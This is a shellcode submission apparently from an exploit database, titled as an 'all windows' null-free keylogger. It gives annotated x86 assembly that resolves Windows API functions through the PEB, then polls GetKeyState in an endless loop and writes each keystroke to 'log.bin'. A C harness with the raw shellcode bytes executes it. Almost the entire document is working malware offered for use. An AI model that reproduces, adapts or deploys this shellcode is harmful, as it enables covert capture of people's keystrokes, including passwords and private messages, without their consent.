/* ; Exploit Title: All windows null free shellcode - primitave keylogger to file - 431 (0x01AF) bytes ; Date: Sat Apr 23 18:34:25 GMT 2016 ; Exploit Author: Fugu ; Vendor Homepage: www.microsoft.com ; Version: all afaik ; Tested on: Win7 (im guessing it will work on others) ; Note: it will write to "log.bin" in the same directory as the exe, iff that DIR is writable. ; it is kinda spammy to the logfile, and will grow quickly. keystrokes are saved in format: ; "Virtual-Key Codes", from msdn.microsoft.com website section .bss section .data section .text global _start _start: cld ; 00000000 FC xor edx,edx ; 00000001 31D2 mov dl,0x30 ; 00000003 B230 push dword [fs:edx] ; 00000005 64FF32 pop edx ; 00000008 5A mov edx,[edx+0xc] ; 00000009 8B520C mov edx,[edx+0x14] ; 0000000C 8B5214 loc_fh: mov esi,[edx+0x28] ; 0000000F 8B7228 xor eax,eax ; 00000012 31C0 mov ecx,eax ; 00000014 89C1 mov cl,0x3 ; 00000016 B103 loc_18h: lodsb ; 00000018 AC rol eax,byte 0x8 ; 00000019 C1C008 lodsb ; 0000001C AC loop loc_18h ; 0000001D E2F9 lodsb ; 0000001F AC cmp eax,0x4b45524e ; 00000020 3D4E52454B jz loc_2ch ; 00000025 7405 cmp eax,0x6b65726e ; 00000027 3D6E72656B loc_2ch: mov ebx,[edx+0x10] ; 0000002C 8B5A10 mov edx,[edx] ; 0000002F 8B12 jnz loc_fh ; 00000031 75DC mov edx,[ebx+0x3c] ; 00000033 8B533C add edx,ebx ; 00000036 01DA push dword [edx+0x34] ; 00000038 FF7234 mov edx,[edx+0x78] ; 0000003B 8B5278 add edx,ebx ; 0000003E 01DA mov esi,[edx+0x20] ; 00000040 8B7220 add esi,ebx ; 00000043 01DE ;GetProcAddress xor ecx,ecx ; 00000045 31C9 loc_47h: inc ecx ; 00000047 41 lodsd ; 00000048 AD add eax,ebx ; 00000049 01D8 cmp dword [eax],0x50746547 ; 0000004B 813847657450 jnz loc_47h ; 00000051 75F4 cmp dword [eax+0x4],0x41636f72 ; 00000053 817804726F6341 jnz loc_47h ; 0000005A 75EB cmp dword [eax+0x8],0x65726464 ; 0000005C 81780864647265 jnz loc_47h ; 00000063 75E2 dec ecx ; 00000065 49 mov esi,[edx+0x24] ; 00000066 8B7224 add esi,ebx ; 00000069 01DE mov cx,[esi+ecx*2] ; 0000006B 668B0C4E mov esi,[edx+0x1c] ; 0000006F 8B721C add esi,ebx ; 00000072 01DE mov edx,[esi+ecx*4] ; 00000074 8B148E add edx,ebx ; 00000077 01DA mov edi,edx ; 00000079 89D7 push edx ; 0000007B 52 ;GetModuleHandleA xor eax,eax ; 0000007C 31C0 push eax ; 0000007E 50 push dword 0x41656c64 ; 0000007F 68646C6541 push dword 0x6e614865 ; 00000084 686548616E push dword 0x6c75646f ; 00000089 686F64756C push dword 0x4d746547 ; 0000008E 684765744D push esp ; 00000093 54 push ebx ; 00000094 53 call edi ; 00000095 FFD7 lea esp,[esp+0x14] ; 00000097 8D642414 push eax ; 0000009B 50 ;GetModuleHandleA("USER32.DLL") push dword 0x88014c4c ; 0000009C 684C4C0188 dec byte [esp+0x2] ; 000000A1 FE4C2402 push dword 0x442e3233 ; 000000A5 6833322E44 push dword 0x52455355 ; 000000AA 6855534552 push esp ; 000000AF 54 call eax ; 000000B0 FFD0 xor edx,edx ; 000000B2 31D2 cmp eax,edx ; 000000B4 39D0 jnz loc_f0h ; 000000B6 7538 lea esp,[esp+0xc] ; 000000B8 8D64240C ;LoadLibraryA push edx ; 000000BC 52 push dword 0x41797261 ; 000000BD 6861727941 push dword 0x7262694c ; 000000C2 684C696272 push dword 0x64616f4c ; 000000C7 684C6F6164 push esp ; 000000CC 54 push ebx ; 000000CD 53 call edi ; 000000CE FFD7 lea esp,[esp+0x10] ; 000000D0 8D642410 push eax ; 000000D4 50 ;LoadLibraryA("USER32.DLL") push dword 0x77014c4c ; 000000D5 684C4C0177 dec byte [esp+0x2] ; 000000DA FE4C2402 push dword 0x442e3233 ; 000000DE 6833322E44 push dword 0x52455355 ; 000000E3 6855534552 push esp ; 000000E8 54 call eax ; 000000E9 FFD0 lea esp,[esp+0xc] ; 000000EB 8D64240C push eax ; 000000EF 50 ;GetKeyState loc_f0h: mov edx,eax ; 000000F0 89C2 push dword 0x1657461 ; 000000F2 6861746501 dec byte [esp+0x3] ; 000000F7 FE4C2403 push dword 0x74537965 ; 000000FB 6865795374 push dword 0x4b746547 ; 00000100 684765744B push esp ; 00000105 54 push edx ; 00000106 52 call edi ; 00000107 FFD7 lea esp,[esp+0xc] ; 00000109 8D64240C push eax ; 0000010D 50 ;WriteFile push dword 0x55010165 ; 0000010E 6865010155 dec byte [esp+0x1] ; 00000113 FE4C2401 push dword 0x6c694665 ; 00000117 686546696C push dword 0x74697257 ; 0000011C 6857726974 push esp ; 00000121 54 push ebx ; 00000122 53 call edi ; 00000123 FFD7 lea esp,[esp+0xc] ; 00000125 8D64240C push eax ; 00000129 50 ;CreateFileA push dword 0x141656c ; 0000012A 686C654101 dec byte [esp+0x3] ; 0000012F FE4C2403 push dword 0x69466574 ; 00000133 6874654669 push dword 0x61657243 ; 00000138 6843726561 push esp ; 0000013D 54 push ebx ; 0000013E 53 call edi ; 0000013F FFD7 lea esp,[esp+0xc] ; 00000141 8D64240C push eax ; 00000145 50 push dword 0x16e6962 ; 00000146 6862696E01 dec byte [esp+0x3] ; 0000014B FE4C2403 push dword 0x2e676f6c ; 0000014F 686C6F672E xor ecx,ecx ; 00000154 31C9 push ecx ; 00000156 51 push ecx ; 00000157 51 add byte [esp],0x80 ; 00000158 80042480 push byte +0x4 ; 0000015C 6A04 push ecx ; 0000015E 51 push byte +0x2 ; 0000015F 6A02 push ecx ; 00000161 51 add byte [esp],0x4 ; 00000162 80042404 lea ecx,[esp+0x18] ; 00000166 8D4C2418 push ecx ; 0000016A 51 call eax ; 0000016B FFD0 lea esp,[esp+0x8] ; 0000016D 8D642408 push eax ; 00000171 50 ;main loop loc_172h: xor ecx,ecx ; 00000172 31C9 xor esi,esi ; 00000174 31F6 loc_176h: mov cl,0xff ; 00000176 B1FF mov eax,esi ; 00000178 89F0 cmp al,cl ; 0000017A 38C8 jc loc_180h ; 0000017C 7202 xor esi,esi ; 0000017E 31F6 loc_180h: inc esi ; 00000180 46 push esi ; 00000181 56 call dword [esp+0x10] ; 00000182 FF542410 mov edx,esi ; 00000186 89F2 xor ecx,ecx ; 00000188 31C9 mov cl,0x80 ; 0000018A B180 and eax,ecx ; 0000018C 21C8 xor ecx,ecx ; 0000018E 31C9 cmp eax,ecx ; 00000190 39C8 jz loc_176h ; 00000192 74E2 push edx ; 00000194 52 push ecx ; 00000195 51 lea ecx,[esp] ; 00000196 8D0C24 push ecx ; 00000199 51 push byte +0x1 ; 0000019A 6A01 lea ecx,[esp+0xc] ; 0000019C 8D4C240C push ecx ; 000001A0 51 push dword [esp+0x14] ; 000001A1 FF742414 call dword [esp+0x20] ; 000001A5 FF542420 lea esp,[esp+0x4] ; 000001A9 8D642404 jmp short loc_172h ; 000001AD EBC3 */ #include #include unsigned char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b" "\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac" "\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b" "\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda" "\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74" "\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64" "\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b" "\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68" "\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47" "\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01" "\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54" "\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72" "\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7" "\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33" "\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50" "\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74" "\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65" "\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69" "\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe" "\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff" "\xd7\x8d\x64\x24\x0c\x50\x68\x62\x69\x6e\x01\xfe\x4c\x24\x03\x68" "\x6c\x6f\x67\x2e\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51\x6a" "\x02\x51\x80\x04\x24\x04\x8d\x4c\x24\x18\x51\xff\xd0\x8d\x64\x24" "\x08\x50\x31\xc9\x31\xf6\xb1\xff\x89\xf0\x38\xc8\x72\x02\x31\xf6" "\x46\x56\xff\x54\x24\x10\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9" "\x39\xc8\x74\xe2\x52\x51\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c" "\x51\xff\x74\x24\x14\xff\x54\x24\x20\x8d\x64\x24\x04\xeb\xc3"; int main(int argc, char *argv[]){ printf("Shellcode length: %d\n", (int)strlen(sc)); (*(void(*)(void))&sc)(); return 0; }